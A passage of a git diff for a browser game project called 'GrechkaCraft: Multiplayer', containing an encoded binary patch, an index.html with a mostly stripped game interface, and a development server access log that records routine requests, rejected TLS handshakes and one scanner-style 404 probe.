zU9i(n9kDmiy99WM+(~-3M5m9nrKrOMy(nY8O@T$6Od#_F*3y9E`|pqo#~qdr`)!{O zYt(?vb0n}t!k;FP7y+tzH<#Why;%+8$1PKb ziFs-;|Fj|_&*?k8CdbJVuC0M##%fp;A}3BJ(8&bWQFDQV^>V`}pUH>CYCk$<8XZGw z9uX08jNj{}S<)ktlL@q)Ku_I{Z35eVzIg|_hXAz)bo3yyag5C0hEF{ka<@NJ2v<)j zhP$V0XcdORRV;AB^>Sg)ZFAv`2j+_tH_Rz9-N^(xlK`jh2I}$saX2SSf zc!S;_yhttkmT5epS@SjSBqIP;PYjTLm^4i~OPV7&Wq?4hnn0f7doH<6V9#Z_4>(x@ z1VPr3wwJ%#P1U}mZ=6~PUp}ip+<0Fh%+af}p4BL5L_`=v?HNS^ADdq+E_!C*y{ZlX zCYu>vTYCs#0=J)#3vX3>z{7XXhxOIef%gs9NSyjxOYe|gE9r5_DJukeu{~hz(={tO zlfr)31f~GhtLy~=6k>Grc)9fd6!92+^L@qeKWFxb`yVZa=hYU9sNYIbJHTZx6pK$k zTP(h)G4-5Gpj!wq4A5R`-f;YpePLg93Rzp7MCvqg;QHBFI$kANz28%>t^`@}DnhkK?Mt5<)i$m`38oO%W4>XnWi#KF62 z0ucdB;K94*!nkJH3~a+hm}&Qq8{+6Ovigg`Huz@BRZIP@HIo4}z&{I?0z zB(SD_{iNFWt#`-6#r)@gvpjl3!i#F}S1l0{S$%Xa$B-Fo)gLya+G;%A1Tsqi6Zkr{ z2Ygb!-=EZL1|OI;(A=TM4)Y*&q@rLr-M)<76V1ps-Yf|Chkg+O^zh2f4_i3ubMc>GcM zu+dn~`kILuHj~~YZ6z^Oj8jGk^hy-4=Ocin^UaaK5($5rKt%$psjxgy=I=XGXA~!W z>399PYwl8;zuH4zL@OGlqHVJcLfB;s*8o=}+aVJRYQDK(aZx>9gN8m)*h=F)E>UM6 z{$A3I7!UveAOJ~3K~(zuz;t@SG5|OcVZN`f%FRt=hIUfkZ@+minojRb~3M!dFh{3%g8eQ%T=`ejUFDn59SN(B88@8r&Ph zH*4-o9UcnIphT3H*TD2kMNJ!}_v($+8*z7-C=)1QkX9R=3+rjxL=B^|%_h09noMG= z%^+rW-jl`fyMGtLdDj<;Gv^j_#o|DOdW-2pRwORU0S~xh5?_e)5#i&L$RIwE z^J23Na$#@1SC`kStv)6fc*WY@dQh0O5i3eJ4Vb?WXu|NHJBr0878U!SUmp4fJ#4hU zy!Usbak<>q8|T6+_Q{1e9h?vA$_TQbaT1a7n>8fT$A8`*?tHjd2~GKGAU9chv-G%B zfuyE7wS_=8M*-8n+S-z3!{4Y);P4rywFXXF8^E;auC(5qs>Q}=Q0ILfdAxYq1veIs z`qPz#+^l)^%O@f_JF436uU{Auw%Sxxzbmb_^?y*fQ}FX@y6AK8J0_-NOn6Nl5zA3s zUM~U*1~10oJ-(o*YTbdqA635oRpy@R-33p}w1^dKNLnN^Z_ytK{f8-JUpQAbSH$hj zGFiKAm5bVoZo647?7C(0XARq1sA}Ku|Fu7yb48&zXHl`BW6W#%DjQ?}FoIji1n#vp zMlc_a+EXTQHAOAy!ciwN{^j}C7s7{sv^=URuQNN3RBx9ql2jS(lobLtfLY0j7Vn2m zV2gpr+#Gl6Za08b0oO|{s3IP@=;^TA)S1OkTzEs_jeohiFnYEO1BGaMC270Xt!eiBV)(eK zaxwC1&lyGb$kRI6nmP`Q_nIWi4S_f&vDTi<{&V$?hZJ}t z`f_V%0OvzhU>>4s-_f&V9O@;aIYe)M`SB4^o3D16KcalRi+Hhy<)E$C->>Trf4RCC zbzH#wm3n+~MC|iAYlb4mPlNg9Ub}zv8N0f#9+P(d&Kp^NenEeD@UalCyQ>h0@;#?m z)1Zmx@K=d^wQGNQYs{01Nk?E6uBE9F$r{hSQ`sNlqCd(5>bVyj4!!jF8X3ZrB87AQO6Q7lv!>62diR z&cfnOcTX?wKV@2BW1>d&5=LqpnZF->xG(If_FdHq#(L`+?(ale?s&KmKL3CH;ns)B zB3xAtfe4`@o#8h127Pp1LFOYD71T#5(nBHMNr|>+|CYhg7>z+~+Z6RA;#G)V$G22w z5Mx}HGIw7&xn@xyMediP#Dd7xhWktg!upq&SLH&+|pX#BdWI#x##-V;1~L4Q=; zUdDguS5-KN-K8z1M~43BzuQBgn|lK{aQUyWzlzj1b{o$e;3mS}fV0e-thNtRA zF#{Nnxlb00S4}DAHjv@q6<=eUj5bx>P{KcOe3)}0d$i@7@kBA4by*=iID7E5eA-^U zyi0hO5?dXo91+Zi9xH~2)ir`w4L+y=mKmC5cRgUd|22J4=c0O5u`6~+E9AVGuk&QE zZDT_Qu(TeG^xv*6gj*gchUtgq!-=oVE7CXcz%z768#X}Gg4b)1X!c*%Q>|XXL?kzo zek#36ax#Hb3D^L}#A_266O?D`7y_HUm3HR?iGiAF*xsiSOKq=4Z#*uy%e2Rfuet2D z;^=w?g2*3*+!x-}7hbt{K595$T5l^pF@E3wYa#qyh4SMI74cI9kj@^>BpHL;LK&$W zrWV81Q;Ok@2Q}ppn%Q*2%g}z2p;^9icE74i3sE&C#wM=mZFqw#FMvNQi4&>3;{wo# zX3@rg?X1Cr;do)=+#>@JG*|K1;+?+59jXE${e8K<{ouVMnVrQOw`Wgqo&zV049WGos0S7rUQKGmq1 zkr8~N$~>OjVglV71+)Qd;6$Ju^WS>H3P6 z{nxAV;Z+(ggV(*aBC%gjslC|GE+_=`OeS&{o>DulW{qF@J`)L)u_|76TOs$xg9yrG zC(*O?2kOE4XARe)9;{Kvf)@wd^kHyXkkmpisB$)vVquZ-Q^ji3fq`8>m@AzXL0vea zW=4E+W-y2f5iZPO(}_H$Dwct$R~uan@BjYtFn+xd4pqkyhHI&oI9E5&;Lhu;p3~R5 zL$g#{&5G%mK-w*S{ha==*EWT4${YH^YxZN@K$$@81`tY#ZSSiNBzq}xsi9}0hm_K9 zLq1t-l0;j;Q-=KJKTRM}0ycmR; zK~F5^=&aUvZscy~xQNdK0I@|F5@li8FX{9T$?U!%l2_>DL$(LsJ^ zS(f>Zbd<#JOef-1iWKT={KWC|_Kpk1Wlh=3duOT&TpctH-3_C)su3hIx5I>-OrUl| zKQqit5(z`fD-l1bp4IHf&RgW7h&WO8QsP=6O8BVuZ|2-WxMv24swVY=j@kk8iMe*l z0D*3d0&)>LHAuiFut8v+Jr;pBNB_pCGsJ;1KVO#dJAhYX)k=~1Q(LS<6m>c2=)Q2E zdPEMb`l_{jBfrr}12cN>%tH9WnTqx)@`Dk2Rwk%sF{(Ec?g1lK zzBGf8^ZGdrIa3tNRr0-TUXGPiGQ0zSRr#O&pl#vXzP3E-_4~==`ocCE|FXPu2-nBk zkLXi7z+$*xZ5cVQt0Xw>D1BJ^dX;%R*#w47zy`2Mgf@Xqg7acoBrrz3NB5BFJ6XnV z|2PJN0h5XPz5C_)aF`-4L_U&C6sVZcMe3P*hN^kh8(9UchT_nxwb(!X+-zb|sxj3X zD>65G>2phIr9^ZIv(?H()$>es;-Clb!|M3(uUiI=o42lDfQd8>$+{8MFXt90LT3$8ll8@SN90I82zJN*1pn5RffJ?CSyo(wbE`zfAA_Vs?v@&8|HB9+Ve+(^x`}O(Fj+($NkrNnl%`6Y zlZQ%sN<<6!yY6|Zd7`KqgML4=j1ED$aQ!{G@V?im6NcU}vXO?3VO+|09+i(e4aKn2 z@6amWB7IxhRf@F_81;YLPzX~Vc`;1>>ByA^6{o}07vD7^+&J~cD8gK$nFV>Xn{=G? zf0C04Bu=1o14w+uy|O}^z+TDe^p3Ml=8wXR!u1g8REg@}x^X-rf4eAxLbdO)hw^UJ zSY@JCUp-;6=()=vz>HyctA^K@t2hw@=hD*>L)b*Z%n&(wNWxg$BwZ*ilvpFb?<`G} zR!JjNP>)lG0ZdrZ(aqAv7*2%Ou`!&;*M8q0bz-5X>taPcOAe_tZ-bvK&hgQT@dD{= zX}(1C4HJm@BQ-~MVA-VqXP<5x6y?%g(*6?X=&{n~Qmm7WgXckl;c+;p9#D1b!Mo(c zm)@NZ8*5wLk>$`_hM`{UoYm>s}*l{{@}TL?ieA$cy2opNx#E zf=jO$RV-uJFM6aUN z1V(Cun7{v#s0QWlnu&p(Y2g0BWBS7DUY6Gz8EVd6_eZMjXzR8}ZSAhRrx>ohb6^1D z>8b|hEgt;dM8fz`xki=dBhtmv9TL$dirbR;!Avl1ZE2OH-psjI?yYwi$Fdx&EM9j4 zZzuWYp90d{7cC*kuENK|4*3zv_7*p~M(N=J- zM0M!8(lHXz!n!#FPln229Km@{>D6~KgqM7CM4%nur;f{qD{fbFg6dQ#8@H5>lrEAU zlQ`o~khYL&ZlBd+Ldn+yKl);L+u`}}@wfCv+a?P5rFZv*-(Oyk>95&=iEEN;^Jobp z?_>gr60iYG2&YY8LLj}GRuG^7T~C@Q?JKEBs+}-@L`@j#0`s>HahWC(g)&2#@J?Q$ zYnVR9+oR3f1F8lkDptKruDL;s9Y*0kiE6~3OBg;PUKqWhNnKdN8>ET_`RGx(sI6G+ zL57E}y~^K2_`a`UT!?bsCi6#xDo&frDyzdN5#@VW;@B~JL^7_z0(1ZfY6X%+KN(^n+Uxy9msy*ky)lw|M>$0M5Ov6 z36t-X0Rr6;1+)Q7@MN+HOb}*|tf~#wzeE+NPJ6rbWvQf}IS%vf%izWY=N^E(A~6G@gaGC=e6d6RUmq*h>cU!_Gf=XDZW zUByH&AU4BM>ljj97V-f7bBrSm0@854|}BdG;5 zm^c#U$E~f+u*aRjB)2m9F0M%*RN+(Glm13E{{ddfTPpbOru-)@v zjWJrPfkcD&d1`q^^&4%mi1_gqhlf;*E>TC1<;}%3N~U0zc7;Ou?7>e=(M+kH0m3jG zB4Hj@F%CpKx7bkijTHaGNJM!a(-1C~syFYyZYk>RA_K;+$%r4vgaNuz`lj@Nr1(wn<$>d7iQjmbI!ansTID>_v=xcY9@90950OCL3w-)1ebLJHS6jgA?q;=B z6W8cr(iIYs?Ow=d9cK1ZH$(w#08=>6Yywk&+J&oZVf2r}3DZL)_O5dM7|Q5ULu6{?c)YckqLNlA6C))GZSF4O0o z5@u+z6gOcMsM;G_X#tM&klpf8$AL<}$C*akv#a%bwriyGZ%}6z75?<-ZLsuacEzot zg8xi?UM|g*o{@<3^snR6IgKTm*WZ+Zth3Vf zz_g7eqHlU6h}i2RGL1LslV$|$!(kHh)GSXKtB`@JFVeu(G%fhrNqymePwoo`{kN)z zYkI)2h1R{jw28#I?_>gr5U6>=CbESdU5QO#k7j(#!)~$pBbIfLbdvNMsZwF5$uA`u zs&AWK{`mHK&zQBK$8^tJ5I*$B)#Kz^9@){?ZjIRcr_bs+-T$XA64}- za5IswCXF8jGu3k#yy?<|(m4_ZJ%v8iz0D-WUZUYeU?H2ka>{ASIN9YLx2S*2L!r>XeabWq-!e@Dx9RhmyLl7CKxdBzqh6)`DjA`>G=Vm6 zRPkOSVFag0!%Y;l6z1DiS`nQ;CT^GyZ#yiGH;^OK-V)(sAZOmydx_fn(XoXNFEJCx z%W+;P5n;MUx>mwyAlU_{m;_$bd}m7V+*cyn%>xkE!f+DR%I}ge2=uz z_H_2Q@%)nM8uY7Sh|KiUsuQirpNw zm)>g}!~YT8dt6b!8>T9nb4@`5Iv2t`9YM^9CzOb0-YwlHeOtotF)hA*)XYvR2*8x~ zf#*uMN>50KNc%~3&wtHREpav+Agw9!opW_)!gT&h!Ym#o5wTlGs+zb?6bZ~dzHrq@ zbcKa5v0Td>mknSAK%Ue%0UN-^nKiY9O<+^lx^AHsME@wDCP^nqZ;-Z@Y8HN!EcATc zS}(6Z_Tawo*28jPy)`SFzon}1`kTzoJ<|)(ICivmqftH6iH0?ih}uw~O_%PK&XeX# zME;11B%Npvd0?fL!eRWnx$u!U*2EPp%4_NFRvX7NFYQ+^PW5V58^=2DmMv`(^MG04 zcqdC|OS1?6)`!zD3BZ?VF^m^V4@gw|69JdKZ#r?_{I~Q`i3gKPi3s2iC5#{sFh@x& z$Ej5@4PG-b9yg-Jch~=Qqxcm!A}Y&5-I2j;48T3NW$#S*HAVX;oBb6_?ZpYo}%U`D@ZQYR|Uf*A4XT_Y&75CbXGtYO$5lQ~HZzxM8KK{-dn~2<~)Z zsu>;V!~^PteRd?U6LP7e_L1v&J?SWk_D+1STiD3tJip1f+%3l+nO}PJKKThUgB$A& z6>C2@yPz@qLimx4-!fSj-qgW6dz)-6YPz`t1ueQ;oEyej6w8Nu<#!0|YuX3TOk^rjy4e zuub6GwAmD+e?&7TNNE}{Aj#-;^8bW}4xK{e4^jnFCf<_Y8+*pYyU|a*p`Z@PM zC$an+r1d0>Tr-Jv93idV%)(yA1j-560G88e!*`p&HbC$EO;QNZzUXBV)tYaVm=-5t z{(dHHDW~!|wPD+S@p4`^UnFwaY@veb!SoSToGJZBqPq8dX`$541ebNCgCwFat0abg zIbx4|*kkLJ5iZuzeDj<__=^VYWl-lBkx&cHfr)&`*Dt(FcKhn1)BIu1I zoh@NciHELp8d#9);4>1&?_g;&iFGxT*3d!>3eEEI;?d1)#mh8ApcAWsZ2%j};&f)V z2~3A;7S@_V^p6PE1nFq$tr8}1W#^&^RT2h;0_Zr2=m&-0NQr52*P&TgBns1I5{26% z(!a_+v(P@NWd4rPe(fZ!a*Vw4jyIj`y=^XfC70%jhI6@Gudut~j)B*?(F?kc`NIIi zfoSJN(jO(8KS9W7A`*>x+gLhPYQ%_@uD>G(*P)Nti7^U4Az|SDBJD0UYCyF}6vh6S zK8a*bXM&RnG(*4!uo-G8EMpUx0@UtXC56wH5(WN*bj(82p+DAc-*z8Pxgb7xYK3wTsc- z4;~m`jNe((m6B7o36N);zrU8&lTMW4ww=|ikzwT8d%489-$-J+Pf2f({wi^P5_xa* zTEu`hVq7)5lL@R$Aa3EY@>2dQ6#_PasbFo}N)wL$5vAK%dW-Zri2{geaZ{;)DSgIW zt~4KoCRMzTNzn)s&LKeFJu3Z5qG`afQrv5Ub7=<&6V|8!)FRP4o#*M3 zZT_D`l`!Y(D(9%CRZGlIk7ka6>(VI$1Uju6*ak2ICr$Y-*aVi-@b@wTL@17z-Xv`< zHDdlWd((-6k_gv*(nAu}oRg*b(j!t<6Zf{QB?@Wv@m)0${o8Y!TzK_<8VNJJRJvC>SNe|R)OiGmR+ERAz>TDXq_`#!1GbB_w?yyaW)ddw zMCqpz=PA+1xF(SK{w^IV@i69O0u2+e0c;pq`U}_urq8&;wjiq#Rr%8HZ=%$S>z2Zi z=)#Q>#*addPpYsme_2ix;+Q_#NA4q4EY#OrEfik4cRqL7ZG{|zI$v^gLGLqGmt8Dx z^~A3f+<%i!lc>&f>RbY9;Tdk0FjGW|*OB5R3>fDY2CP{F$aWS;ACf;Fo#Frh8rw-k zK~%mg9VXE(F>ZA8IVx*FUDnc={?e?rA?)@uUQI2 zq9W%>v!vT33=h4BWsf={Q8;fQy-gxgQz2r#?B`QjbmF9eD z8gapC5(V}ZFHQEh4kxfg`#)LYT*uJGjjj{1qYWR`!9>WLO$)W)snYwUw@TYfwAHPZ z)LJ$CLRu_wpQv-{Y7VEC5a^_8;Is>qmH_Y8jo1WsYtF_#F0RiB(x;@f%pVagv`D&2 z`h)bWG({r1KtV$^uu~F+;TqEZ(q2_|n!<9KqJ7Vvd1+xS4e^qTF}~l6S_YHw70KpL z5V|OF{`1iDXNd^hwo)7u$UKKh*GR)LfLc6?B>zO8JZMoBO>}W9iSv1Aq7xQTORiNS z&^CX9kd;Ka-6_ciFylF86PWP~s<3+rM*oOj9U@UJ6{kR|us0PaMFvQ}5IvY7T_{~7 z@%L7)GN)RhD{_qh(nNkrl% zO7#-g$p#WeZM;OJd^m{*uir=*yORdBvp!3S>yd{snqi=gB(7H{6KINn4PaB)TDy=< zU~742Xlqmh?I2P0iWwZv^-AG^siTmhEg$-abcaO2Ljl+gXzUlSJ%@3SU}p<`};}r+LsB5)U3HO6(62 zMxvC|1YkNje`}q)`q{|@Y7-bvfl_LhT_iKJ4 z1}r~KqKy-uf0L;4r78(^OQOKuS2|Lv75(FQ>-~;dzF#^(qAHxfow}OqU4kj0-aR-3o;wPjGQ=e zcEctx4yCS|2jlUe#8W>FOG=;mS~C$r!1NKlqL83KdsO<5gz>@5P}p@_qV3;@r8S3n zV9#s$yQQ~EaCGV&0$dxHN|?HLN<4VgORH;!L!@h^>+8+j!0%kg?90^>MvuQ|N<;#m zk!=11AuFlV%pcrr0JC!T#M}>?z?h)gI9vZ^qe24h05NFvPP|gWkPvC0+GngZQX(=~ zo{09*Abh^`kaU4W1Z$2&)UTA7uN%`C9n`BN3Sw9_lPLTbNLNVTmZnQiy+wfQZkF_O ziOwKLN%f+|T#Gb0*g{Iu0BUv7wa@imN<0)|1ldogj1cHV^9MQ`z>J(gjqHX^U?a3T zdS0q$ACWL^>q|rdHY@5B2_^*OaGF%o-vEPRzR$+WB#l(Noq8~ zigsJKNM}k!PSY;HwF#$;6W}`fvqV+!YbA_bt;DsrpLC^kSFIWSTlWy?Wb;QZ)O)Jw zo}B8^BVo|VUQ3*`%T>*q^^`z0aQPu}*c3uU0oRf+hD7-=fxVnK5ss1mC}D~lNu?^^ zKWL$!Nkmd@{u&|J-ScwIVE{Qd4v>a6yU?T+i3f@4(kG&?~xcLqme}P z^d{*H3G;^$bTWZT1c(ygT#5rZ#2!INyZe((PTmB#?)=*k36yg?6Nbp9VW0H+w8Jz^Wii`fQ}zW zNRwhLMgdJ{nd_wQNi(HKB_|VTgaEzmzAlZCc9ilGgG4WtZkKMAFo{G9ow|%bH<~}P z$Of>>PE-!36^5)^FNiKY9lG(5xNi{wq+$NJ8V5+5Euwxj;y*{aO>*^|AUHKlfCq_t zBpxERmxu)JDN*hFH;Hp=zC;zUQx_5F=CaNPu!~OA@1a|YqP|nZaGfiN*_KpJg z5s4@a(U_r$D&Om+A4pW)5%shA69lKG36!dWAJiH!fP9iTzaEol2gp25T|%JS%R3vu zE;&&v9Y&HSu-h+$O8h)6vji}Fh&P@v5H?l9w98@|1@Hn1^Y>GUw>eOK=VSs&5a3)Q z(#P#w_ghm*7fv9e5mB0gMv(;pkrtIANQnwqXbJ*Lz!;XcQcNI72}BZIilSJMP5@T} z7D7`5gg^w5CM1G{Pz4c!Qo>R~k(F(-N60W_mAKcNr_Q=)mHnZU~$t@(P^qw zvqkC`gD0O}+%CBDC|!Bu2?R<_1__mkv&l(mHbXGEc@{n_`39Jv{o04_itgD6I|TEy zwCXLsIpji)ogVVck>mfuUNwRGO#4L`PGUU}{gBJSlYNYkkD&pUf;W_;zsV{OK%s$% zVK(U=sMvNva;*LUTMT*gp!$Px>v7n^V8`~>>8TG|H?kAqsbu)3cof=exG3bwI`Iy_ zwkBANMUJyhmiv*}TF@9=0cz})5wK0tYgaSHrC_S#UMjCA$qF&HD~!nK193&4HR*gX zIUld?SdOU>_L++M1LlTtR5)U`pNTocmzuWdj0m4n)`!Xj9H>GD+ zBxJ^3#N!^l8^(Pn9!Z&y8hbILcCuEVe6oG+&y{Mr_%y`B@q{fyp>p?amJ~Ro&6elANk+e*bXZ}4|rb78ZRihhcGG8sUw9V)h1_J zEcI+OPC6L$d0bdltjhVJv4x0!)Yjts1Mj4mj<>^(_Q24jz~tkzcXgvK5N4J^)h{4+ zhcf%i46T^a!s!E<4jN`eUtIdNtiV9I`1;>7(e8qD!^V5FNvqK3x+a+0m73Iq7 zu&79i<)*WTwWllvI_|m{>JORLB9nV}|1pL3_91M=dq2xH2+^FfK!jEglRQR}6PmaMcp{2_@RpY>=zHIfuIItcPlT(U5( zKR1#DjZ70kBcCsNxoaDFrh>YOMrj_Rshgb(^;E!ON1Zb7D`Z;nDp0SzMHa!F;}Tod zrHbIz@O)=b2@or?9k7~m(VGj&ZRzr}yGFJFb*va@As3Ahpu^n3S7J!gn}MT0>41Q9 zS4zdIC9r;nA~b&LEgQbv*1K}*7JTV1e5ilKo1$VJ^Hnn(6<30Kof5@ohmgzBEt%F=^Bm`O{K3)5B%i* z*MJZ?QTuqGVyORqJg$HQ0-(2Hz!eM>W9Psl()~69!So-EU)Z8$tbplB1VSe~pWUCNqvjs?-8K1NkStmqTmH=TL+kIp$BD5!=t$OQWoM^d7bWJMr z3E!Uiu3VUc>O(AXS5H5zWIe0x~%5Wo?>YA)}pF9O~!_z?QOv;O#+y-hz8>#j> zcfZ@iy6WgO1=mso1541S0j!!d{(k4Ric!+Vd#K8dVdu}^96dYE!-4&iW#vh#Ru4pA zi}`vY_9Qds2Ulf-1EKxay{UHjp`p1b~exlr_3LXik0d5MY=if|` z8WYs^bfI0m%Le_*vhB1`T&avA=tP|VjIDPPSv)s?)H;;!th0?>%|R1v7d}>W?kMT* zy)J28@HR-c!;z?v)d@ z;fi&UbQ8Q|xAJX(GNtgy^*By6o{+}# zqZ?kN(IN+uPRxyh5ga#KdCSO4L_5`9tk2?U=x@eVZ|6!mJI%5~TLZ^)Y5tH(bpw)S zn$qAEb%*Xd71Tgzrd#qN+V2L9#ds5TX}nLL+@Jo;w7^;t|LWc~|Hikr<%2dl8j(T@AszrPnSAnJY&`ML=q>R5ll==;BK7jhH|X0 zxWL-~ee^}YXRo@@UIV6EGzgzZ9_y1CnO{u>$wJcX`vN|siuVb;D21g--Cy0@(qdP4 zC}Ks&4!#0KFq!Kd#NEpR9klVi8=~+X)f_R@qMQF}MQW!>5%jHZTUgD@WR!uNHLW%` z<5n@}nv2ml^z338M{2Bdw#b~z^8h&?8d62jeDivcTI(g!e-`Pe;ra5j{5W-Ur~G@@ zwwgSo@*(dVr%@S+~vdG`10}j$R?S_kKv6=iF22iGOfS$ zedg%(K)^o8a=B3qs(l>_z1}qQ3e6#5zjozNQCy`2E5(?SPmQI`?tT34KDthL5XQp* zd|@*2#%+H8rJa*DTVlh?*h$f(#*XmX@e5BQ&o#Z9Nq?CJ zb`}hH1-IxAHf$<`oLI(o>^)r)a^oh_>gsXj-i4|rsmA8;LvxwFAvG}tYKHb02LrIV zH8I*ZUkrqJi<5^G{?rh^9kR`OmsJEf#46GR^ zXq^blla;J9Y4hg3cFA>EtT)`oa>zzKZ9A6jJU?4Ycpd||63*4CY*}DA%~r!R-J~ry zhvV|7gWGAibF~jbdCoeP?JD6J<6}bwH-Cv^KxO0=D8y*{GTD9e34}1&VXb~G&EZ{i z-V<|0`YfC0q|%ecu>~f5up-oUhgHVAG2yoZ=l%A;{~y$WoBMMF*fZ>RajbB5bu|K>Gq zq(nM}y#DGgTuOCr*p!F$>K@WOACL{66wtj<8d;f4&5Rfbl^NSFGOvU@7RX(cQ2AIR zT$EwSWQiOW46I`klq9=gJu8>az99Ml1Z|Bqk1yl3rU}=GU|w6XuOCkW1P8;R$03z_ zlu7ccY%5rdB{X1}sJ=kT7cM}5UB4Lk#lSBHelhTW%fRVa=IVNRONCWUndlo3@H=T? KYhG{^d*wf?oIXzg literal 0 HcmV?d00001 diff --git a/index.html b/index.html new file mode 100644 index 0000000..7c21cf0 --- /dev/null +++ b/index.html @@ -0,0 +1,82 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + +

+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔨
+
🔄
+ +
💬
+
📦
+
+
+ +
+
⬅️
+
⬆️
+
⬇️
+ +
+ + + + + + + + + +
+ + + + diff --git a/logs/server.log b/logs/server.log new file mode 100644 index 0000000..d8649b7 --- /dev/null +++ b/logs/server.log @@ -0,0 +1,4713 @@ +127.0.0.1 - - [03/Jan/2026 09:42:06] "GET /index-modular.html HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 09:42:26] "GET /index-modular.html HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 09:43:04] "GET /js/modules/physics.js HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 09:43:20] "GET /game-modular.js HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 09:43:38] "GET / HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 09:44:13] "GET /index-modular.html HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 09:45:04] "GET /js/modules/config.js HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 09:47:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 09:50:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 09:54:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 09:56:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 09:59:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:03:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:05:59] "GET / HTTP/1.1" 200 - +198.235.24.246 - - [03/Jan/2026 10:09:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:10:07] "GET / HTTP/1.1" 200 - +216.180.246.242 - - [03/Jan/2026 10:12:06] "GET / HTTP/1.0" 200 - +216.180.246.242 - - [03/Jan/2026 10:12:15] code 400, message Bad request version ('\\x89<ÒO¿\\x10±\\x12-\\x90\\xad©Ð=й\\x89Ó>Ú\\xadCdÐð\\x92\\x96') +216.180.246.242 - - [03/Jan/2026 10:12:15] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03>\x91\x86]r´ggç\x86î\x90àËR\x12¬Ê¿\x88mÇ\x9eê$Z\x0c\x97ço\x01 tä\x0b\x89<ÒO¿\x10±\x12-\x90­©Ð=й\x89Ó>Ú­CdÐð\x92\x96" 400 - +216.180.246.242 - - [03/Jan/2026 10:12:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:13:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:16:46] "GET / HTTP/1.1" 200 - +216.180.246.242 - - [03/Jan/2026 10:16:50] code 400, message Bad request version ('zG\\xadã') +216.180.246.242 - - [03/Jan/2026 10:16:50] "\x16\x03\x01\x00ú\x01\x00\x00ö\x03\x03\x0f\x17OSr\x96\x98ØhL\x86}?¿O;H\x18èÿ\x1f\x0d\x98L7ËòÌ\x00À\x17\x89 zG­ã" 400 - +216.180.246.242 - - [03/Jan/2026 10:16:57] code 404, message File not found +216.180.246.242 - - [03/Jan/2026 10:16:57] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 10:19:22] "GET / HTTP/1.1" 200 - +204.76.203.214 - - [03/Jan/2026 10:20:29] "GET / HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 10:21:27] "GET /index.html HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 10:21:42] "GET /js/modules/utils.js HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:23:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:26:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:28:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:32:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:35:27] "GET / HTTP/1.1" 200 - +89.42.231.239 - - [03/Jan/2026 10:35:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:38:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:41:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:44:20] "GET / HTTP/1.1" 200 - +141.98.11.140 - - [03/Jan/2026 10:44:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:48:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:51:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 10:54:37] "GET / HTTP/1.1" 200 - +151.238.100.211 - - [03/Jan/2026 10:55:58] "GET / HTTP/1.1" 200 - +5.187.35.158 - - [03/Jan/2026 10:56:23] code 404, message File not found +5.187.35.158 - - [03/Jan/2026 10:56:23] "GET /SDK/webLanguage HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 10:58:15] "GET / HTTP/1.1" 200 - +127.0.0.1 - - [03/Jan/2026 10:58:51] "GET /index.html HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:00:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:04:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:07:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:10:18] "GET / HTTP/1.1" 200 - +194.164.107.6 - - [03/Jan/2026 11:13:28] code 400, message Bad request version ('::\\x13\\x01\\x13\\x02\\x13\\x03À+À/À,À0̨̩À\\x13À\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x00\\x7f\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00') +194.164.107.6 - - [03/Jan/2026 11:13:28] "\x16\x03\x01\x00ì\x01\x00\x00è\x03\x03/\x0e\\O\x1d}Hg6äÈ\x92Ø\x94\x19¬Y7\x92&òLoÀÜc«¹W`2 ¼\x8d¢Ö+Ì\x9b\x11{ ¢Ð!ËëýMÛôQ «\x0dPQ;j\x83\x85\x85gr\x00 ::\x13\x01\x13\x02\x13\x03À+À/À,À0̨̩À\x13À\x14\x00\x9c\x00\x9d\x00/\x005\x01\x00\x00\x7f\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00" 400 - +185.16.39.146 - - [03/Jan/2026 11:14:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:17:09] "GET / 